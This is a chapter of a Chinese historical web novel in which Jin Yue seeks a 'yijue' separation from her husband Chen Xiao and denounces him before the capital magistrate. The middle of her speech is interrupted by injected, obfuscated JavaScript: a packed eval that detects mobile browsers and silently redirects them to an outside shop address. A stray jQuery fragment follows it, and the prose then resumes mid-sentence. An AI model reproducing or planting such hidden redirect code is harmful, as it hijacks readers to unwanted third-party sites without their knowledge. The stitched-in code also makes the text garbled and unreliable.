金悦坐在案前,竹简在膝头铺开,手指一行一行划过那些刻入竹简的字句。
这个时代夫妻和离并不多见,比较多的是夫休妻,或者义绝。
休妻有七出之罪,不顺父母、无子、淫佚、妒忌、有恶疾、多言、窃盗。
硬要说的话,陈家休弃她合情合理的。她加入陈家好几年没生下孩子,陈家非但不休她,还买了个婢女帮她生。在旁人看来,已是仁至义尽了。
她冷笑着,目光继续在竹简上搜寻。
汉律中关于义绝没有明文规定,但卷宗里记载着义绝的案例,如:“夫殴妻之父,遂义绝,赔千钱。”
金悦指尖蜷了蜷,蠢蠢欲动地想,要不要回槐里把陈家父母打一顿,好顺理成章地和离。
翻到下一卷,冷静了。
妻殴夫之父母者,弃市。暴其尸于市,三日不得收。
她盯了片刻,面无表情地翻了过去。
又翻过几卷,她的目光忽然钉住了,落在“以妻为婢”四个字上面,久久没有移动。
良久,她才卷起竹简,将上面的绳子绑住,抬头对于兰说:“把陈孝带出来。”
陈孝被带出门时,颇有几分不敢置信。
日光劈头盖脸地砸下来,扎得他眼眶发酸。
这是怎么了,怎么忽然就放他出来了?
他在脑子里飞快地转着,难道是父母来了?他们收到他的信,赶了几十里路来给他撑腰了。
他深吸一口气,压住几乎要咧到耳根的嘴角,挺起胸膛,用力甩了甩袖子,昂首阔步地跟着婢女往前走。
这些日子被关在偏院里受的窝囊气,此刻全化成了底气。看她金悦还敢不敢把他关在偏院里。
到了正院,他跨进门槛,目光在堂中扫了一圈。
金悦坐在主位上,于兰站在她身侧,堂下立着几个婢女,再无别人。
“我父母呢?”他脱口而出。
金悦微微蹙眉:“你父母来了长安?我怎么不知道。”
陈孝张着嘴,脑子里嗡的一声,意识到不对。
他脑子里飞快地转着,干笑了两声:“是我睡昏了头,还以为在槐里呢。”
父母没来,金悦为什么将他放出来了?他脊背上窜起一股凉意。
“陈孝。”金悦平静地说道,“我要与你义绝。”
陈孝面上的干笑瞬间碎裂,“你说什么?”
他的声音拔得又尖又细,在堂中嗡嗡地回荡,“不可能!你想都别想!”
“你没有选择的余地。”金悦站起身,对旁边的小厮点了点头。
几个小厮围上来,架住了陈孝的胳膊。
他拼命挣扎,鞋底在青石砖上蹬出了两道灰印,拼尽全力也无法抵抗,被拖了出去。
主院外,一个小厮探头张望了片刻,趁人不注意,悄悄往侧门那边溜。
马车在京兆府衙门前停下。
京兆尹杜衡正在衙中处理公务,听见修成君的车驾到了,整了整衣冠,捋顺颌下胡须,迎出去。
“修成君大驾光临,下官有失远迎。”杜衡将金悦迎入公堂,目光扫过她身后被小厮架着的面如土色的男人,额角沁出了一层细密的汗。
“敢问修成君有何要事?”
金悦来之前已下定决心,此刻不避讳在场的许多官吏,开门见山道:“杜京兆,我要与丈夫陈孝义绝。”
杜衡面上的笑僵住。
未等他开口,陈孝已像被踩了尾巴的猫一样跳起来,差点挣脱了小厮的手。
“金悦,你忘恩负义!当年要不是我,你早被继母嫁给了打死前妻的鳏夫,坟头的草都能长几茬了!如今你得了富贵,想把我一脚踹开,门都没有!”
杜衡叫苦不迭,恨不得找两团棉花塞住耳朵。
他一边维持着面上僵硬的笑,一边压低声音吩咐身后的小吏赶紧派人进宫禀报太后。
金悦转过身,正视着陈孝的眼睛:“你当初娶我,不是发善心,而是看中了我织的布能卖钱。”
陈孝的脖子梗了起来,青筋在颈侧突突直跳:“你胡说!我若为了钱,何不娶了胡家娘子?”
“因为胡家是商户。你怕沾上嫌贫爱富的名声,坏了你的清誉,让你日后举孝廉没了指望。你既要钱,又要名声,所以才娶了我。”金悦毫不相让。
陈孝的脸色一寸一寸地白了。
杜衡赶紧插进来打圆场:“修成君,夫妻之间难免有些磕碰,有什么话说开了便好……”
这在他看来不是问题,成亲看对方的家境合情合理。
“我要义绝。”金悦看向他,坚定道,“陈家以妻为婢,我不想与他们再有瓜葛。”
陈孝终于慌了。
“阿悦,你不能如此。这么多年夫妻情分,难道说断就断?你道陈家待你不好,可这些年我们打过你、骂过你吗?又何曾在衣食上亏待过你?怎么就拿你当奴婢了?”
金悦忽然笑了一下,“合着陈家给我一口饭吃,让我有命活着,便是天大的恩赐。我这些年吃得苦早得罪难道还少吗?你母亲的骂声哪天停过?但凡织机停下来片刻,她的咒骂就劈头盖脸砸过来。这就是你说的没有亏待?”
陈孝的脸涨红了,声音猛地拔高,带着困兽的焦躁:“那你还想怎样?哪家妇人不是这样的!陈家只是普通的农户,境况就是如此,难道要让一家人吃糠咽菜,供你锦衣玉食吗!”
杜衡站在一旁,捋着胡须的手不知不觉停了下来。这话听着有几分道理,寻常农户男耕女织,女子织布算不得遭了大罪。
他悄悄觑了一眼金悦。
难道真如陈孝所说,修成君嫌贫爱富,一朝得了富贵,便要让糟糠之夫下堂?这份猜测让他心下多了几分不喜,打定主意要将这桩差事敷衍过去。
金悦感到一阵深重的疲惫,她以为自己已经不在意,但看到陈孝如此理直气壮的样子,仍旧憋闷。
她盯着他,一字一字地说道:“你说反了。是你们一家人巴不得我吃糠咽菜,供你这个陈家的大孝子读书当官,供你父亲吃酒赌钱。我整日坐在织机前替你们挣钱,还要包揽家中所有活计,照顾你的庶子庶女。即使生病了也不得休息,稍有停歇便要被你母亲骂身子娇贵只会躲懒。”
杜衡的嘴巴张了又合。他知道陈孝只是普通农户出身,上私塾已经很勉强,怎么还有余钱纳妾。
说完曾经遭受的磋磨,金悦忽然醒悟过来。她为什么要跟陈孝辩驳陈家有没有亏待她,她的目的从来不是说服他。
深吸了一口气,她直视着陈孝,冷声道:“陈孝,你名为孝,其实根本不孝。你父母节衣缩食供你求学,你读书多年却一事无成,理所当然地耗着父母的血汗钱。
“到了你这年纪,同门早已找到营生养家糊口,只有你仍然靠父母、靠妻子供养,对整个家毫无付出。你就是个蠹虫,对上不孝,对下不悌。
“自以为才高八斗,整日批评这个讽谏
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17710560|207497||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
那个,其实书都读到狗肚子里去了。你那副不沾俗物的清高做派,不过是懒惰的借口,只想坐享其成。若如你一般的人都能举孝廉,那大汉算是走到穷途末路了!”
她字字铿锵,掷地有声:“我金悦,耻于与你这样的人为夫妻!”
公堂里一片死寂。
方才交头接耳的官吏们此刻皆噤了声,连呼吸都放轻了。
有人悄悄抬起头,重新打量这位从小养在乡下的修成君,她站在那里,背脊挺直如竹,通身上下没有一件多余的饰物,却比满堂朱紫更叫人不敢逼视,隐隐让人想起了高堂之上的窦太后。
这般风骨与卓识竟出现一个女子身上。
接着,所有人的目光都落在陈孝身上。
对读书人来说,这已是最重的骂名,不孝不悌,无才无德,每一条都是文人最在意的东西。若是他们被指着鼻子在公堂上当众辱骂,恐怕当场便要羞惭而死了。
陈孝浑身都在发抖,手指着金悦,嘴唇翕动了半天,只挤出一句断断续续的嘶吼:“污蔑、你这是污蔑!”
“我哪里污蔑?你倒是说清楚。是你一事无成不对,还是你没有花父母挣来的钱?你这么多年可曾给家里带来一分一毫?至于学识,你这般人品能有什么才华?连自立都做不到的人,能对圣贤经典有什么高深的见解?”
陈孝气得血气翻涌,喉咙中腥甜,险些一口血喷出来,他踉跄了一步,险些站不稳。
他从未想过,会有一天被温顺的妻子如此指责。
杜衡听着,眉头已微微皱起。固然读书重要,但若因此让父母劳累多年,就是极大的不孝。
金悦解完了气,抬眼扫过在场众人。
他们投向陈孝的目光充满鄙夷,连刚刚帮着说话的杜衡,此刻也抿着嘴一言不发。
方才她说了半天陈家如何压迫她,这些人嘴上不说,面上全是不赞同。
现下换了一套说辞,他们顿时就倒戈了。
.
坐了两天马车的陈家父母终于望见长安。
郭氏扒着车帘,仰头望着高耸的城墙,嘴张了半天没合上。
给守城的侍卫查了路引,随着人流进入城门。
车夫勒住缰绳,回头问:“接下来往哪儿走?”
陈家父母面面相觑,他们哪里知道。
郭氏回头看了眼城门口,道:“那些守卫肯定知道。”
她见到当兵的,有些胆怯,但想着这些普通的侍卫,怎么也不能和他儿子皇帝姐夫的身份比较,于是壮了胆子。
她下车,逮住一个守门的侍卫便问修成君府怎么走。
侍卫上下打量了她一眼。
绸衣皱巴巴地裹在身上,发间的银簪歪歪斜斜,说话时唾沫星子直往人脸上溅。
他皱着眉头往后退,不耐烦地摆手,让她赶紧走,别堵着城门。
郭氏哪受过这种气,在槐里连县令见了她都得客客气气的。
她梗着脖子,扯开嗓子想叫嚷,却被陈父拉回马车边上。
甩开他的手,郭氏气哼哼地往地上啐了一口:“狗眼看人低。等找到了儿子,要他们好看。”
正不知往哪儿去,一个灰衣仆忽然冒了出来,笑吟吟地向他们作了个揖,说自己是陈郎君的朋友派来的,知道他们今日进城,特意在此等候。
郭氏看仆从谈吐不俗,衣着整洁,感慨着还是她儿子好啊!乖乖跟着仆从,乘着马车往京兆府的方向去了。